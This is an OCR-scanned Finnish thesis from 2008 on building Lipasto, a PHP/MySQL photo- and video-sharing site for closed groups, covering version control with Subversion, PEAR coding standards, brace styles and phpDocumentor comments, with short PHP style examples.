S’

TURUN AMMATTIKORKEAKOULU
ABO YRKESHOGSKOLA

Opinnaytetyo

LIPASTO - WWW-SOVELLUKSEN
TOTEUTTAMINEN

Toni Korpela
Kalle Palokankare

Tietojenkasittely

2008



TURUN TIIVISTELMA
AMMATTIKORKEAKOULU

Tietojenkdésittelyn koulutusohjelma

Tekijét:
Toni Korpela ja Kalle Palokankare

Tyon nimi: Lipasto — www-sovelluksen toteuttaminen

Suuntautumisvaihtoehto: Ohjaaja:
Yrityksen informaatiojirjestelmét Péivi Nygren
Opinnéytetyon valmistumisajankohta: Sivumadra:
Toukokuu 2008 46 + 15 liitettd

Téassd opinndytetydssd kuvaamme www-sovellusprojektin. Projektin 1dhtokohta oli
luoda kayttdjaystavéllinen sivusto, joka tayttdd sille asetetut toiminnalliset
vaatimukset. Sovellus on nimeltddn Lipasto. Lipaston keskeinen tarkoitus on
mahdollistaa kuvien ja videoiden jakaminen tietylle kéyttdjaryhmélle, niin ettei
ryhmén ulkopuolisilla ole oikeutta selata materiaalia.

Sivuston kéyttd vaatii rekisterditymisen palveluun, jonka jélkeen kéyttdjd voi luoda
oman yhteison. Kutsumme yhteisdd Lipastossa Lokeroksi. Lokeroon kayttija voi
kutsua ystévidin selaamaan sinne ladattuja kuvia ja videoita. Kuviin ja videoihin on
mahdollista liittdd informatiivisia kuvateksteja. Kuvat ja videot jaotellaan
kansioittain aihepiirien mukaan. Kéyttdjat voivat myos kommentoida kuvia, sekd
kiydé keskustelua yleiselld tasolla etusivun ilmoitustaululla.

Sivusto on ohjelmoitu PHP-ohjelmointikielelld. Tietokannaksi valitsimme MySQL-
relaatiotietokannan, jossa kdytimme InnoDB-tietokantamoottoria. Kaytdamme
Lipastossa runsaasti JavaScriptid parantaaksemme kayttokokemusta. JavaScript-
rungon muodostaa MooTools-kirjasto.

Sovellus valmistui ldhes kokonaan méirdaikaan mennessi. Se ei ole vield kéytossa,
mutta toivomme, ettd saamme julkaistua Lipaston jatkokehittelyn jalkeen.

Hakusanat: Lipasto, WWW-sovellus, PHP, MySQL, Yhteisdpalvelusovellus

Sdilytyspaikka: Turun ammattikorkeakoulun kirjasto, Salo




TURKU UNIVERSITY OF APPLIED SCIENCES ABSTRACT

Degree Programme: Business Information Technology

Authors:
Toni Korpela and Kalle Palokankare

Title: Lipasto — Developing a www-application

Specialization line: Instructor:

Business Information Systems Péivi Nygren

Date Total number of pages
May 2008 46 + 15 appendices

This thesis describes a www-application-project. As a starting point of our project
we had an idea of creating a user-friendly website, which meets the technical
requirements set for it. This website is called Lipasto. The main purpose of Lipasto
is to give the user a possibility to share his/her own pictures and videos for certain
user group. In other words people who do not belong to the group, do not have
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1 Johdanto

Opinndytetyondmme toteutimme kaikille avoimen Lipasto-nimisen internet-sivuston.
Sivustolla kéyttdjd pystyy luomaan oman suljetun alueen (myohemmin “Lokero™),
jonne hédn pystyy kutsumaan ystdviddn sdhkopostiosoitteen avulla. Lokerossa jdsenet
voivat jakaa kuviaan, videoitaan, yhteystietojaan, sekd jattdd viestejd Lokeron

ilmoitustaululle. Kéyttéjd voi perustaa ja kuulua useaan Lokeroon.

Jérjestelmd on ohjelmoitu PHP-ohjelmointikielelld. Lipaston tietokantana kéytetdén
MySQL-relaatiotietokantaa, jonka tauluissa tietokantamoottorina kéytetd&in InnoDB:a.
Jarjestelmdn HTML-merkkauskieli on XHTML 1.0-standardin mukaista ja CSS-
tyylitiedostot noudattavat CSS2-standardia. Lipastossa hyddynnetdén paljon
JavaScriptid kdyttomukavuuden parantamiseksi, mutta JavaScript ei kuitenkaan ole
pakollinen sivuston kiyttdmiseksi. Suurin osa sivuston JavaScript-toiminnallisuuksista

on ohjelmoitu MooTools-ohjelmointirajapintaa hyvéksikéyttaen.

Molemmilla projektin ohjelmoijilla oli oma kehitysalustansa, jotka toimivat Windows
XP-kayttojarjestelmissd. HTTP-palvelimena kdytimme Apache-palvelinta, johon oli
asennettu PHP-tulkki. Tietokantoja oli kuitenkin vain yksi, jota molemmat kayttivét
verkon yli. Tietokantapalvelin oli ulkoistettu. Projektin tiedostoja hallinnoitiin ja
synkronoitiin Subversion-nimiselld versionhallintaohjelmistolla, joka oli asennettu

toisen projektin jdsenen kotiverkkoon Ubuntu-kayttojarjestelméén.

1.1 Miksi valitsimme tdmén aiheen

1.1.1 Idean synty

Aiheen alkuperdinen idea syntyi jo vuonna 2004, jolloin toinen projektin ohjelmoijista
huomasi tarvitsevansa keinon jakaa kaveripiirinsd kesken kuvattuja valokuvia.

Suurimman haasteen jakamiselle asettivat vilimatkat. Kaverit asuivat eri puolilla



Suomea ja silti kuvat haluttiin yhtildisesti kaikkien saataville. Talloin syntyi idea
jarjestelmésté, johon jokaisella kaverilla olisi oma kéyttdjatunnus. Kayttijit padsisivét
lisddmdidn omia valokuviaan ja nidkemididn muiden kaveripiiriin kuuluvien lisdédmid
valokuvia. Téllaisena jérjestelmd my0s toteutui ja valmistuessaan jérjestelmiin ei siis
ollut padsya kaveripiirin ulkopuolisilla henkildilld, joka mahdollisti sellaistenkin kuvien
jakamisen, joita ei vilttdmattd kaikille haluttu nayttdd. Jarjestelméddn kuului myds
mahdollisuus kommentoida kuvia ja lukea muiden kirjoittamia kommentteja. Lipaston
etusivu toimi ilmoitustauluna, johon kayttédjét pystyivit lisddmaan ilmoituksia ja uutisia.
Etusivun oikeassa reunassa oli kolme laatikkoa, joista ylin sisdlsi seuraavan
syntymipdivdsankarin nimen, syntymépdivdn ajankohdan ja tapahtumaan olevien
pdivien méirdn. Tamén alla oli toinen laatikko, joka sisélsi esikatselukuvan viimeksi
lisdtystd kuvasta ja viimeisessd laatikossa oli esikatselukuva viimeksi kommentoidusta

kuvasta.

Silloinen vanha Lipasto toimi tdmén projektin toisen ohjelmoijan kotikoneella ja oli
tdmin opinndytetydprojektin tavoin toteutettu PHP:lla ja MySQL:lla. Vanha Lipasto
kuitenkin sulkeutui reilun vuoden pééstd sen avaamisesta, kun silloinen palvelinkone

hajosi ja tdmén jilkeen jarjestelméd ei endd laitettu uudestaan toimintakuntoon.

Puolitoista vuotta vanhan Lipaston sulkeutumisen jdlkeen saimme idean toteuttaa
kyseisenlainen jarjestelmi uudelleen opinndytetyoné, mutta tilld kertaa avoimena www-
sivustona, johon kuka tahansa pystyisi avaamaan oman Lokeron omalle kaveripiirilleen
ja lisddmaiin kaveripiirin kesken ottamiaan valokuvia. Uuteen jirjestelméén halusimme
ottaa mukaan my0s videoiden lisddmismahdollisuuden, koska nykydin monilla
matkapuhelimilla pystyy kuvaamaan hyvénlaatuista videokuvaa. Videokuvaa saa
siirrettyd www-palvelimelle internet-yhteydelld varustetulla puhelimella. Uusi Lipasto
tulee muistuttamaan monilla tavoin vanhaa Lipastoa ollen kuitenkin paremmin
toteutettu, laajempi, paremmin dokumentoitu, sekéd kuten jo aiemmin mainittiin, kaikille

avoin.



1.1.2  Jérjestelmén projektinimi ja domain-osoitteen saatavuus

Jérjestelmén projektinimeksi valitsimme tuon jo aiemman jirjestelmén nimeni olleen
Lipaston. Projektinimed ei kuitenkaan tulla valttdmattd kdyttdméén sivuston lopullisena
nimend. Syynd tdhdn saattavat olla esimerkiksi se ettd termi on suomea, ja jos sivustolle
ajatellaan kansainvilistd kéyttod niin termi “Lipasto” tuskin tarkoittaa mitddn milldén
muulla kielelld kuin suomella. Térkeimpand syynd nimen vaihtamiseen saattaa
kuitenkin olla domain-osoitteiden saatavuus. Projektia aloitettaessa lipasto-sanalla
olivat jo etukiteen varattuina tirkeimmat ja yleisimmin kéytetyt domain-pédtteet, eli .fi,
.eu, .com ja .net, eli nditd padtteiti emme endd voisi saada tille jarjestelmille. Termin
muuttaminen monikkoon (eli muotoon “lipastot”) muuttaa tilanteen jo paljon
valoisammaksi, silld tdlld termilld kaikki tirkeimmét pddtteet ovat vield vapaina ja

varattavissa.

Jérjestelmélle on harkittu my0ds muita lopullisia nimivaihtoehtoja (joista esimerkkeind
mainittakoon drawer (lipasto englanniksi), mesta ja boksi), mutta lopullista nimei
jarjestelmaélle ei ole vield piditetty. Domain-osoitteiden saatavuus tulee olemaan yksi
tarkeimmistd kriteereistd jarjestelmdn lopullista nimed paitettiessd, koska haluamme,

ettd jarjestelmédn nimi on sama kuin domain-osoite.

2 Alkuvalmistelut

2.1.1 Jédrjestelmin perusidea

Valmiin Lipaston on tarkoitus olla helppo tyokalu johon kuka tahansa voi perustaa
oman Lokeron johon kiyttdja voi sitten kutsua ystévidén ja jakaa kuviaan ja videoitaan
nédiden kesken. Lisdksi jokainen Lokeroon kutsuttu kayttdja voi kirjoittaa kommentteja
Lokeron yhteiselle ilmoitustaululle ja kommentoida Lokeroon lisdttyjd kuvia ja
videoita.  Ainoastaan Lokeroon kutsutut kayttdjat péddsevit sisdén Lokeroon, eli

ulkopuoliset kiyttdjat eivdt padse ndkemdidn tietyn Lokeron siséltdjd. Jarjestelmén



kohderyhmé ovat pddasiassa nuoret ja nuoret aikuiset. Sivuston ulkoasusta on tarkoitus
tulla skaalautuva eli sen leveys ja korkeus vaihtuvat selainikkunan leveyden ja
korkeuden mukaan. Ulkoasun on tarkoitus toimia oikein kaikilla tirkeimmilld
selaimilla, eli sen toimivuus tullaan testaamaan Firefoxilla, Internet Explorerilla,
Operalla ja Safarilla. Sivun ulkoasu tulee koostumaan erilaisista ja eri kokoisista
laatikoista, joihin tehddén pyoreédt kulmat, jotta ulkoasu olisi visuaalisesti houkutteleva.

Kuvakaappaus sivuston ulkoasusta on ndytetty kuvassa 1.

Latass Thsdbasta

Kuva 1: Kuvakaappaus yksittdisen Lokeron etusivusta

2.1.2  Kayttijitasot ja jarjestelmdn ominaisuudet

Yksittdisessd Lokerossa on kolme erilaista kéyttdjétasoa, joista korkeimmalle sijoittuu
Lokeron omistaja. Hinen jélkeensi tulevat Lokeron yllépitéjdt ja viimeisend yksittdisten
kuvien ja videoiden, kuva- ja videokansioiden sekéd kirjoitettujen kommenttien
omistajat. Eli kun kéyttdja lisdd kuvan, videon, kansion tai kommentin johonkin

Lokeron osaan niin hén saa myds tdydet muokkaus- tai poisto-oikeudet siihen.



Jokaisella Lokerolla on omistaja, joka on myds Lokeron ylldpitdjd. Lokeron omistaja
voi myOs nimetd uusia ylldpitdjid. Ylldpitdjat voivat suorittaa kaikkia tavallisten
kayttdjien toimenpiteitd kaikille Lokeron objekteille riippumatta siitd, ovatko he
objektien omistajia. Lokeron objekteja ovat kuvat, videot, kuvien ja videoiden
kommentit, Gallerian kansiot sekd ilmoitustaulun viestit. Jarjestelméan kaikki toiminnot

on lueteltu liitteessd 9.

2.2 Versionhallinta

2.2.1 Mitéd on versionhallinta?

Versionhallintaohjelmisto pitdd kirjaa hakemistoista ja tiedostoista, sekd muutoksista
joita niihin tehdddn. Tdmd mahdollistaa datan vanhempien versioiden ja muutosten
selaamisen. Versionhallintaohjelmistolla datasta voidaan helposti palauttaa tarvittaessa
datan vanhempi versio tuotantokdyttoon, jota ei olisi mahdollista tehdd jos data olisi
vain yhdelld koneella ja uudet muutokset olisi kirjoitettu vanhan datan péélle.
Versionhallintaohjelmisto toimii liséksi verkon yli, jotta kehittdjat pystyisivit
késittelemddn samaa dataa sijainnista riippumatta. Versionhallinta voidaan toteuttaa
myos ilman datan kasittelijan koneelle asennettavia ohjelmia. Téstd hyvéni esimerkkini
Wikipedial, jonka sivuista pystyy katsomaan minki tahansa vanhemman version ja
vertailemaan sitd sivuilla tdlld hetkelld ndkyvddn versioon. Ndin sivuja on helppo
palauttaa esimerkiksi siind tapauksessa, ettd joku tyhjentdd vahingossa tai tahallaan
jonkun sivun. Versionhallintaohjelmistot voidaan jakaa kahteen ryhméén: Niihin, jotka
lukitsevat tiedon muuttamisen ajaksi (lukitse-muokkaa-vapauta -malli, jota kayttda
esimerkiksi RCS-niminen versionhallintajirjestelmé) ja niihin, jotka eivdt lukitse
(kopioi-muokkaa-yhdisti -malli, jota kdyttavét esimerkiksi CVS- ja Subversion-nimiset

versionhallintajérjestelmét). (Wikipedia 2008c)

! http:/ffi.wikipedia.org/




2.2.2  Subversion

Kéytdimme projektissamme Subversion-nimistd versionhallintaohjelmistoa. Subversion
on CVS:n (Concurrent Versions System) seuraaja, mutta kyseessd ei kuitenkaan ole
uusi versio. Subversion kehitettiin korjaamaan CVS:n suurimmat puutteet, seki
tarjoamaan yleisolle avoimen ldhdekoodin vaihtoehto. Kehittdjdt eivét kuitenkaan
halunneet muuttaa jo tutuksi tullutta ja suosittua kayttoliittymidd, joten Subversionia

pidetddn CVS:n seuraajana lukuisien yhtildisyyksien johdosta.

Subversion pitdé kirjaa yksittdisiin tiedostoihin ja tiedostopuihin tehdyistd muutoksista.
Hakemistoihin ja tiedostoihin voidaan liittdd myds metatietoa, jonka avulla voidaan
tehdd muistiinpanoja. Metatiedot linkitetddn tiedostoon tai hakemistoon. Myds
metatieto versioidaan. Subversion antaa jokaiselle muutoskerralle oman versionumeron
(revision), jonka ansiosta samalla muutoskerralla tehtyjd muutoksia pystytidén
seuraamaan yhtend kokonaisuutena. Subversionissa voi kéyttdd versioiden
tallentamiseen ~ joko  puhtaasti  tiedostopohjaiseen  varastoon  perustuvaa
tietokantarakennetta tai BerkeleyDB-tietokantaan perustuvaa (Wikipedia 2008c).

Lipaston versionhallinnassa kdytimme BerkeleyDB-tietokantaa.

Subversion tukee useita verkkorajapintoja, jotka mahdollistavat versionhallinnan
toiminnan verkon yli. Verkkoprotokollasta riippuen voidaan mm. autentikoida kayttdjia,
ylldpitdd lokeja ja pakata dataa. Subversionissa kiytetddn hyvin testattuja ja

dokumentoituja C-kielen kirjastoja eikd siitd ole 10ydetty merkittdvid haavoittuvuuksia.

Jotkut versionhallintajérjestelmit hoitavat myos ohjelmiston konfiguraatiohallinnan®
(muun muassa Microsoft Visual SourceSafe ja Bitkeeper), eli niméd ohjelmat on
suunniteltu erityisesti ldhdekoodin hallinnoimiseen. Useimmiten ne sisdltdvdt monia
ohjelmistokehitykselle ominaisia ominaisuuksia ja sithen soveltuvia lisdtyokaluja, joita
voivat olla esimerkiksi ohjelmointikielien tunnistaminen (eli tyokalu osaa vérittdi kielen

syntaksin ja osoittaa virhekohdat) ja tyokalut joilla virheitd voi korjata. Subversion ei

% SCM, Software Configuration Management



kuitenkaan ole tillainen, jolloin versionhallintajirjestelméén sydtettdvén tiedon laadulla
ei ole mitddn vélid, vaan sinne voidaan syottdd vaikka musiikkitiedostoja tai

ruokaohjeita. (Collins-Sussman, Fitzpatrick & Pilato 2007)

2.2.3 Versionhallinta Lipastossa

Projektimme on selainpohjainen sovellus, jota varten molemmat kehittdjét luovat oman
kehitysympéristonsd. Kehitysympéristot ovat fyysisesti eri tiloissa eivitkd ne ole
missddn yhteydessd toisiinsa. Subversion huolehtii, ettd molemmilla kehittdjilld on
identtiset kopiot toistensa tiedostoista. Versionhallinta konseptina oli projektin
molemmille ohjelmoijille tuttu jo entuudestaan, mutta kidytdnnon tasolla kummallakaan
ei ollut aikaisempaa kokemusta versionhallintajdrjestelmén pystyttdmisestd tai

hallinnoimisesta.

2.2.4 Svnserve, SVN+SSH ja Apachen moduuli

Subversion mahdollistaa kolme eri tapaa jakaa projektin tiedostoja verkon kautta
ohjelmoijille. N&mid tavat ovat svnserve, SSH-tunnelointi ja versionhallinnan

kayttdminen Apachen moduulina.

Svnserve-ohjelma on Subversioniin rakennettu kevyt palvelinohjelmisto, joka jakaa
projektin verkkoon portin 3690 kautta. Pavelimeen on rakennettu itsendinen
tekstipohjainen autentikointi, joka tukee ryhmié sekd useita eridvid projekteja. SSH-
tunnelointi perustuu Unix-kéyttdjiin ja SSH-yhteyteen kéyttdjin ja palvelinkoneen
vélilld. Palvelimelle luodaan kéyttdjit, joille generoidaan julkinen ja yksityinen
salausavain. Kéyttijit luovat yhteyden Subversioniin SSH-yhteydelld hyviksikdyttden
salausavainta. Apache2:en on saatavilla moduuli, joka SSL-salausta hyvaksikdyttden
mahdollistaa  pddsyn  versionhallintajirjestelméén  verkon  kautta.  Kéyttdjat

autentikoidaan .htaccess-tekniikalla.



Kun aloitimme versionhallintajirjestelmén asentamisen ja konfiguroinnin Lipastoa
varten, emme ymmadrtineet, ettdi ndmid kolme tapaa ovat toisistaan tiysin
riippumattomia. Pystyttdessimme Subversionia Lipastoa varten konfiguroimme
svnserverid, loimme UNIX-kdyttdjat ja generoimme SSL-avaimet salattua HTTPS-
yhteyttd varten, eli kdytdnnossd olimme aktivoimassa kaikkia kolmea tekniikkaa
pdillekkdin. Lukuisat ongelmat liittyen versionhallintaan padasyyn verkon yli johtuivat
ndistd pééllekdisyyksistd. Pdadyimme lukemaan ohjekirjaa huolellisesti ja totesimme,
ettd Subversionin oma svnserve-palvelin on projektiimme parhaiten sopiva tapa jakaa

tiedostoja.

2.3 Ohjelmointistandardit

2.3.1 Yleistd ohjelmointistandardeista

Ohjelmointistandardeilla tarkoitetaan pddasiassa sitd, ettd koodin siséltd luodaan tietylld
tavalla ja wvalittua tapaa noudatetaan kaikkialla projektissa. Jos kaikki projektin
ohjelmoijat noudattavat ohjelmoidessaan tiettyd standardisoitua tapaa esimerkiksi
funktioiden nimedmiseen, niin koodin lukeminen ja nopea ymmairtdminen helpottuvat
huomattavasti. Ohjelmointistandardiin kuuluu monia asioita, jotka on hyva paattad
etukiteen. Padtimme kayttda ainakin suurimmaksi osaksi PEAR:n (PHP Extension and
Application Repository) ohjelmointistandardia. Kyseisen ohjelmointistandardin

dokumentaatio 16ytyy PEAR:n omilta sivuilta’.

2.3.2 Koodin sisentdminen ja rivien pituus

Koodin sisentdimiseen PEAR:n dokumentaatio ehdottaa neljdd vililyontid ja
tabulaattorien kaytto kielletdén. Tama médritys on erittdin tirked siksi, ettd jos koodia
muokkaa kaksi eri ohjelmoijaa erilaisilla koodi-editoreilla, niin koodi mikd niyttad
oikein hyvilti ja selkedsti sisennetyltd toisella, saattaakin mennd aivan sekaisin toisella

ohjelmoijalla. Yksi todenndkdinen syy koodin sekaisin menemiseen on se, ettd koodi on

3 http://pear.php.net/manual/en/standards.php
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alunperin kirjoitettu editorilla, joka kéyttdd oletuksena sisentdmiseen tabulaattoreita,
jotka eivdt vélttiméttd toimikaan toisessa editorissa, vaan toinen editori muuttaa
tabulaattorit vililyonneiksi. Téstd syystd onkin tdrkedd valttdd tabulaattoreilla
sisentdmistd ja vaihtaa editorin asetuksista sisennyksiin kiytettivd merkki
tabulaattorista vélilyonniksi. Monissa editoreissa on myds mahdollisuus kayttad

tabulaattoreita siten, etti yksi tabulaattorin painallus vastaa tiettyd méarad vililyonteja.

Ohjelmakoodirivien pituuteen PEAR:n dokumentaatio ehdottaa 75-85 merkkié ja tdhén
rajoitukseen kultainen keskitie onkin sopivin, eli 80 merkkid. Tuota 80 merkkid
ehdotetaan useissa ohjelmointistandardeja késittelevissa artikkeleissa ja ohjeistuksissa,
esimerkiksi Javan dokumentaatiossa (Sun Microsystems 1999) ja Zend Frameworkin
dokumentaatiossa (Zend Technologies 2008). Tarkeimpéné syynéd 80 merkin rajoituksen
kiyttdmiseen on se, ettd tavanomaisen pédteohjelman vaakatasoinen leveys on 80
merkkié ja jos tuo on samalla ohjelmakoodin maksimileveys, niin koodille ei tapahdu
automaattista rivitystd, joka tekisi koodista epédselvempdd. Joissain tapauksissa osa
koodista saattaisi jopa hévitd ndkyvistd ja editori-ndkymid joutuisi jatkuvasti
vierittdiméédn vaakatasossa. Toinen 80 merkin rajoituksen mukanaan tuoma etu on se,
ettd editoriin mahtuu kaksi tiedostoa vierekkdin ilman, ettd kumpaankaan ilmestyy
vaakatasoisia vierityspalkkeja tai tapahtuu automaattista rivitystd. Téllaista kahden
koodin ndyttdmistd rinnakkain voidaan hyodyntdd esimerkiksi vertailtaessa kahta
ohjelmakoodia. Mekin kiytimme tdssd projektissa paljon kahden ohjelmakoodin
vertailua, esimerkiksi niissd tilanteissa kun koodi on lisdtty versionhallintaan ja sitd on
sen jdlkeen muokattu jomman kumman projektin ohjelmoijan koneella. Talldin
versionhallinnassa olevaa kantaversio-koodia (working base) ja myohemmin muokattua
tyokopio-koodia (working copy) voi vertailla TortoiseSVN:n (kdyttimadmme
versionhallinta-asiakasohjelma) omalla Diff-ohjelmalla, joka ndyttdd molemmat koodit
vierekkéin ja korostaa muuttuneet rivit keltaisella. 80 merkin rajoituksella koodatun
tiedoston voi myds tulostaa pystyarkille ilman, ettd tarvitsee peldtd, ettd osa koodista
katoaa nikyvistd ja paperilla ndkyykin vain puolikkaita rivejd. Koodista tulee myds
helpommin ymmarrettdvads, kun monimutkaiset lausekkeet jactaan useammalle riville

eikd niitd kirjoiteta yhdelle riville.
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2.3.3 Ohjauslausekkeet ja funktiokutsut

Ohjauslausekkeisiin kuuluvat if-, for-, while- ja switch-lausekkeet. Ndihin lausekkeisiin
pitdd jattdd yksi tyhjd vélilyonti ohjaussanan (esimerkiksi “if”) ja ehdon aloittavan
aloitussulkeen véliin (esimerkki kuvassa 2). Funktio-kutsuissa puolestaan funktion nimi
ja aloitussulje kirjoitetaan yhteen (esimerkki kuvassa 3). Lisdksi funktiokutsuissa
funktion parametrit erotellaan pilkulla ja jokaisen pilkun jédlkeen jitetddn yksi tyhja
vililyonti koodin selkeyttimisen takia (esimerkki kuvassa 3). Samaa yhtd vililyontid
kiytetddin myos muiden vélimerkkien jdlkeen, joihin kuuluvat seuraavat merkit ja
merkkiyhdistelmat: <, > ¢ o ok e nasp vass? G “& & ja c|”
(esimerkki kuvassa 2). Aloitussulkujen jdlkeen ja vastaavasti ennen lopetussulkuja
tyhjad vililyontid ei jitetd, vaan ne kirjoitetaan kiinni ensimmadiseen tai viimeiseen
ehtoon tai parametriin (esimerkki kuvassa 3). Lisdksi for-lauseessa kdytettidvit kolme
lauseketta, jotka erotellaan puolipisteelld, kirjoitetaan aina samalle riville ja puolipisteen
jilkeen jatetddn yksi tyhjé vélilyonti (esimerkki kuvassa 4). Ohjauslausekkeiden kanssa
kaytettidviin ohjelmointikdytdntdihin kuuluvat myos aaltosulkeiden kéyttdmisen tyylit,

joista enemmén seuraavassa kappaleessa.

<?php
S$foo = “bar”;
Svar = 1;
if ($foo == “baaar”)

{

echo “foo on baaar.”;
}
elseif ($foo == “bar” && Svar == 1)
{

echo “foo on bar ja var on 1”;

?>

Kuva 2: Esimerkki for-lauseen lausekkeiden ohjelmointistandardista
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<?php

$str = "alpha beta gamma delta";
echo str shuffle($str);
echo “<br />";

echo hash('sha512', $str);

?>

Kuva 3: Esimerkki funktio-kutsun ohjelmointistandardista

<?php

for ($1i = 0; $i < 10; ++S1i)

{
echo $i."<br />";

?>

Kuva 4: Esimerkki for-lauseen ohjelmointistandardista

2.3.4 Aaltosulkeet

Aaltosulkeiden kiyttdminen ei ole PHP:ssd kaikissa tilanteissa pakollista. Jos
ohjauslausekkeen sisille tuleva koodi sisdltdd vain yhden toiminnon ja ndin ollen
mahtuu yhdelle riville, ei aaltosulkeita ole pakko kayttdd. Aaltosulkeiden pois
jattdminen lisdd kuitenkin virheiden riskié ja tekee koodista vaikeammin luettavaa, joten
meiddn projektissamme aaltosulkeiden kéyttd on pakollista joka tilanteessa.
Alkuperdinen PEAR:n dokumentaatio ei valttimattd pakota téhéin, vaikka ohjelmoijia
suositellaankin kéyttdmaén aaltosulkeita joka tilanteessa. Lisdéntyvédn virheriskin takia

otamme kuitenkin aaltosulkeiden pakollisuuden kdytinnoksi projektissamme.

Aaltosulkeiden tyylistd keskustelimme pitkddn ennen varsinaisen ohjelmoimisen

aloittamista, silli molemmat ovat tdhén asti kdyttdneet omissa projekteissaan ja tyon
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puolesta tehdyissd ohjelmointiprojekteissa eri tapaa merkitd aaltosulkeet. Téhdn
projektiin halusimme kuitenkin yhtenevéisen kéytdnnon niihin. Valittu kdytintd on
tiarkedd projektin kannalta siksi, ettd se helpottaa koodin lukemista. Koodista on myds
helpompi saada kokonaiskuva nopeasti silmdilemailld. Erilaisia tapoja aaltosulkeiden
merkitsemiseen on useita, mutta vain kolme niistd ovat yleisesti kdytdssé ja muita nikee
harvemmin. Téhén asti toinen projektin ohjelmoijista oli kéyttinyt niin sanottua
Allmanin tyylid, jossa jokainen aaltosulje merkitdin omalle rivilleen ja toinen niin
kutsuttua K&R-tyylid, jossa ainoastaan lausekkeen lopettava aaltosulje on omalla

rivilldan. Esimerkit ndista tyyleistd 10ytyvit liitteestd 2.

Allmanin tekniikan hyvéni puolena ndhdéin se, ettd koodi on selkedmpéé ja parillisten
aaltosulkeiden alku- ja loppupddn 16ytdminen on helpompaa. Liséksi lausekkeen sisddn
kuuluvan koodin hahmottaminen on helpompaa, koska lausekkeen sisddn kuuluva koodi
on erotettu lausekkeesta riveilld, jotka ovat ldhes kokonaan tyhjid, eli rivit joissa on vain
tuo yksi alku- tai loppusulje. Léhes tyhjit rivit toisinaan néhdédn tdméin tekniikan
huonona puolena, silli koodi vie enemmén rivejd verrattuna muihin tekniikoihin.
Tilankédyttokysymys oli ainakin ennen tdrked, koska koodia muokattiin paljon
paiteohjelmilla, joihin mahtui vain 24 rivid koodia kerrallaan. Nykyisin tekstid mahtuu

enemman jolloin tilankdyton merkitys on hieman pienentynyt.

K&R-tyylin (joka on saanut nimensd Brian Kernighanin ja Dennis Ritchien sukunimien
ensimmdisistd kirjaimista, kyseiset henkilot kirjoittivat kirjan The C Programming
Language (1978), josta toisinaan kdytetddn myos nimed “K&R”) tdrkeimpdnd hyvéni
puolena nidhdéién juuri tuo mikd dsken mainittiin Allmanin tyylin huonona puolena, eli
pienempi tilankdyttd. Huonona puolena on vastaavasti koodin hieman huonompi
luettavuus. Tosin luettavuus ei kérsi paljoa, jos lausekkeiden sisdén jddvd koodi
sisennetdén oikein, jolloin lausekkeen aloituspaikka on helppo méérittdd siitd missd
teksti kdy ensimmdiisen kerran samalla tasolla loppusulkeen kanssa (olettaen etti

lahdetddn etsimédén lausekkeen aloitusta loppusulkeen perusteella).



14

Kysymykseen siitd, kumman tekniikan kdyttd on parempi, on oikeastaan mahdoton
vastata, silld molemmissa on omat hyvit ja huonot puolensa ja molemmilla ovat omat
intohimoiset kannattajakuntansa. Térkeintd on, ettd ohjelmoija valitsee projektiin yhden
tekniikan ja kdyttda sitd alusta loppuun. Tétd mieltd olivat my6s Kernighan ja Richie,
jota kuvastaa hyvin seuraava lainaus jo aiemmin mainitusta “The C Programming
Language™-kirjasta: “The position of braces is less important, although people hold
passionate beliefs. We have chosen one of several popular styles. Pick a style that suits

you, then use it consistently.”

2.4 Koodin kommentoiminen

2.4.1 Miksi koodia kannattaa kommentoida standardoidusti?

Funktioiden kommentoiminen on térkedd jokaisessa ohjelmointiprojektissa, koska hyvin
tehty dokumentaatio on erittdin tirked osa jokaista ohjelmointiprojektia koodin
uudelleenkdytettivyyden ja myShemmidn muuttamisen mahdollistamisen takia.
Varsinkin tillaisessa useamman ohjelmoijan projektissa hyvd dokumentointi on tarked
edellytys projektin onnistumiselle, koska dokumentoinnin kautta toinen ohjelmoija saa
nopeasti hyvian yleiskuvan funktion tehtivistd, vastaanotettavista parametreista ja
palautettavien arvojen tyypeistd. Kun dokumentoinnissa vield kédytetdédn tiettyd ennalta
sovittua  merkintdstandardia  niin  toinen  ohjelmoija  10ytdd  funktion

dokumentaatiokappaleesta helposti muutamalla silméykselld tarvitsemansa tiedon.

2.4.2  Miksi valitsimme phpDocumentorin?

Funktioiden kommentoitiin valitsimme phpDocumentorin® dokumentointistandardin,
jolloin dokumentaatiosta saadaan helposti generoitua helppolukuinen ja helposti
siirreltdvd paketti, jonka avaaminen onnistuu kaikilla yleisimmilld selaimilla ilman
internet-yhteyttd. Paketti on my0s kooltaan suhteellisen pieni, koska se ei sisélld

lainkaan kuvia, vaan pelkistddn tekstimuotoista dataa. Ndin dokumentaatiota mahtuu

4 http://www.phpdoc.org/
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paljon pieneenkin tilaan ja suurenkin projektin koko dokumentaatio voidaan mahduttaa
vaikka yhdelle 3,5 tuuman levykkeelle. PhpDocumentor on myds kohtuullisen laaja
ominaisuuksiltaan (Wikipedia 2008b), ilmainen ja lisensoitu LGPL-lisenssilld’, jolloin

sen kéyttd on mahdollista kaupallisissakin projekteissa.

2.4.3  PhpDocumentorin kommentointisyntaksi

PhpDocumentorin kommentoimissyntaksi on kohtuullisen yksinkertainen ja se on
selitetty yleistajuisilla esimerkeilld phpDocumentorin kotisivuilla. Yksi dokumentaatio-
kappale siséltdd yleisesti kuvauksen esimerkiksi funktion kéayttdtarkoituksesta,
vastaanotetuista ja palautettavista arvoista sekd niiden tyypeistd. Liséksi
dokumentaatiokappaleisiin voidaan sisdllyttdd tieto esimerkiksi funktion tekijastd,
paketista, jota sen kidyttdmiseen tarvitaan, sekd kopiointioikeuksista. Funktion kuvaus
kirjotetaan vapaamuotoisesti dokumentaatiokappaleen alkuun, jonka jilkeen loput tiedot
lisétddn niin kutsuttuina tageina, jotka alkavat kaikki (@-merkilli. PhpDocumentor
tuntee yhteensd 30 erilaista tagia, joiden kuvaukset 16ytyvdt phpDocumentorin
dokumentaatiosta (Beaver 2007). PhpDocumentorin dokumentaatiokappale alkaa aina
“/**’-merkeilld ja loppuu “*/”-merkkeihin. Kaikki rivit tuolla vililld aloitetaan tdhdella.

Yleisimmat tagit, joita tulemme kéyttdmain, on esitelty kuvassa 5.

5 http://www.gnu.org/licenses/Igpl.html




<?php

/**
* Tama funktio ottaa stringin parametrina ja kaantaa sen

* ympari strrev()-funktiolla.

* @author Toni Korpela <toni@toni.fi> 06.10.2007

* @param string S$string to flip

* @Qreturn string $flipped string

*/

function flipString($string to flip)

{
$flipped string = strrev($string to flip);
return $flipped string;

Sflipped = flipString("Turning around like rollercoaster!");
